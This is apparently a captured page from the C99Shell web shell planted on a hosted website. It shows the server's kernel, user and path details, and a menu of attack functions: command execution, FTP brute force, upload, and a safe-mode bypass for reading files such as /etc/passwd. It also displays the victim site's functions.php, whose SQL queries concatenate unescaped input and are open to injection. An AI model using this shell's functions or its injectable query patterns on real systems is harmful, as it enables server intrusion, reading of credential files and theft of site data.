!C99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.4.45 

uname -a: Linux webm052.cluster007.gra.hosting.ovh.net 5.15.74-ovh-vps-grsec-zfs-classid #1 SMP Wed
Oct 26 09:50:47 UTC 2022 x86_64
 

uid=763961(ebenisteaz) gid=100(users) groups=100(users) 

Safe-mode: OFF (not secure)

/home/ebenisteaz/www/   drwx---r-x
Free 0 B of 0 B (0%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     functions.php (4.87 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$langs 
= array ('fr''en');
function 
rand_string$length ) {
    
$chars "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";    
    
$str="";
    
$size strlen$chars );
    for( 
$i 0$i $length$i++ ) {
        
$str .= $charsrand0$size ) ];
    }

    return 
$str;
}
function 
paginat($pages){
$thePaginate='';
        for(
$i=1$i<=$pages$i++)
        {
            
$thePaginate .='<a href="#" rel="'.$i.'"> '.$i.' </a> - ';
        }
        echo 
substr($thePaginate0, -2);

}
function 
curPageURL($llg,$lang) {
 
$pageURL 'http';
 if (isset(
$_SERVER["HTTPS"]) == "on") {$pageURL .= "s";}
 
$pageURL .= "://";
 if (isset(
$_SERVER["SERVER_PORT"]) != "80") {
  
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
 } else {
  
$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
 }
// return $pageURL;
 
// $myString = $pageURL;
if ( strpos$pageURL'?' ) ) {
$pageURL=str_replace("$lang=fr"""$pageURL);
$pageURL=str_replace("$lang=en"""$pageURL);    
$pageCurrentLink=str_replace("?""?lang=".$llg."&"$pageURL);
echo 
str_replace("&&""&"$pageCurrentLink);

}




function 
fullyListeChoice($dbField$nomChamp$label$lang){
    
$db Database::obtain();
$detectNonApllic=selectParent(TABLE_TYPE"id"$dbField'titre_fr');
 if(!empty(
$dbField) && $detectNonApllic!="Non applicable"){
         echo
'   <label for="'.$nomChamp.'" class="label1">'.$label.'</label>
            <select name="'
.$nomChamp.'" class="default required">
              <option value="">'
.$label.'</option>';
             
$array1=explode(","$dbField);
              foreach(
$array1 as $nomChamp){
                
//  echo $nomChamp;
                  
$sqlShowRecord "SELECT titre_".$lang.", lettre, numero from ".TABLE_TYPE." WHERE id='".$nomChamp."'";
                 
$recordShowRecord $db->query_first($sqlShowRecord);
                 if(!empty(
$recordShowRecord['lettre'])) $valOption=$recordShowRecord['lettre']; else $valOption=$recordShowRecord['numero'];
                echo
'<option value="'.$valOption.'">'.$recordShowRecord['titre_'.$lang].'</option>';
                }
            
           echo
' </select>';
             }
    else if(
$detectNonApllic=="Non applicable" || $detectNonApllic=="Autres"){
        echo 
'<input type="hidden" name="'.$nomChamp.'" value="0" />';
    }
    
}

function 
fullyListeColorInput($dbField$nomChamp$label$lang){
$db Database::obtain();
$detectNonApllic=selectParent(TABLE_TYPE"id"$dbField'titre_fr');
if(!empty(
$dbField) && $detectNonApllic!="Non applicable"){
 
$array1=explode(","$dbField);
if (
in_array('1000'$array1)){
 echo 
'<label for="'.$nomChamp.'" class="label1">'.$label.'</label>
            <input type="text" id="'
.$nomChamp.'" name="'.$nomChamp.'" class="'.$nomChamp.'" />';
            
}
else{
echo
'   <label for="'.$nomChamp.'" class="label1">'.$label.'</label>
            <select name="'
.$nomChamp.'" class="default">
              <option value="">'
.$label.'</option>';
             
$array1=explode(","$dbField);
              foreach(
$array1 as $nomChamp){
                 
                  
$sqlShowRecord "SELECT titre_".$lang.", codeCouleur from ".TABLE_TYPE." WHERE id='".$nomChamp."'";
                 
$recordShowRecord $db->query_first($sqlShowRecord); 
                echo
'<option value="'.$recordShowRecord['codeCouleur'].'">'.$recordShowRecord['titre_'.$lang].'</option>';
                }
            
           echo
' </select>';    
}
}
else if(
$detectNonApllic=="Non applicable" || $detectNonApllic=="Autres"){
        echo 
'<input type="hidden" name="'.$nomChamp.'" value="0" />';
    }
}

function 
fullyListeColorScript($dbField$nomChamp$label$lang){
$db Database::obtain();
if(!empty(
$dbField)){ 
 
$array1=explode(","$dbField);
if (
in_array('1000'$array1)){            
echo 
'<script>
$(document).ready(function() {
    
    $(".'
.$nomChamp.'").spectrum({
        preferredFormat: "hex",
    showPaletteOnly: true,
    showPalette:true,
   allowEmpty: true,
    palette: [
        ['
;
        
 
$sqlPaletteColor "SELECT titre_".$lang.", codeCouleur, lettre, id from ".TABLE_TYPE." WHERE typePage='Couleur' and active=1  order By orderid asc";
 
$rowsPaletteColor $db->query($sqlPaletteColor);
                         while (
$recordsPaletteColor $db->fetch($rowsPaletteColor)) {
                        if((
intval($recordsPaletteColor['lettre'])>&& intval($recordsPaletteColor['lettre']<100)) && $recordsPaletteColor['codeCouleur']!="#"){
                        echo 
"'".$recordsPaletteColor['codeCouleur']."',";
                        }
                        }
 
        echo 
']
    ]
}); }); </script>'
;
}}
}
//////////////////

function selectParent($theTable$idTable$idCurent$champShow){
    
$db Database::obtain();
     
$sqlShowRecord "SELECT ".$champShow." from `".$theTable."` WHERE ".$idTable."='".$db->escape($idCurent)."'";
     
$recordShowRecord $db->query_first($sqlShowRecord);
     return  
stripslashes($recordShowRecord[$champShow]);
}

function 
currentMENU($thispage){
if(
$thispage == basename($_SERVER['PHP_SELF']) ) echo $cur="active"; else echo $cur="";
}

//FUNCTION MENU ACTIVATION ( CURRENT CLASS CSSĀ°
function currentSouMENU($action){
    if(isset(
$_GET['action']) && $action==$_GET['action'] ) echo $cur="this"; else echo $cur="";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | Generation time: 0.009 ]--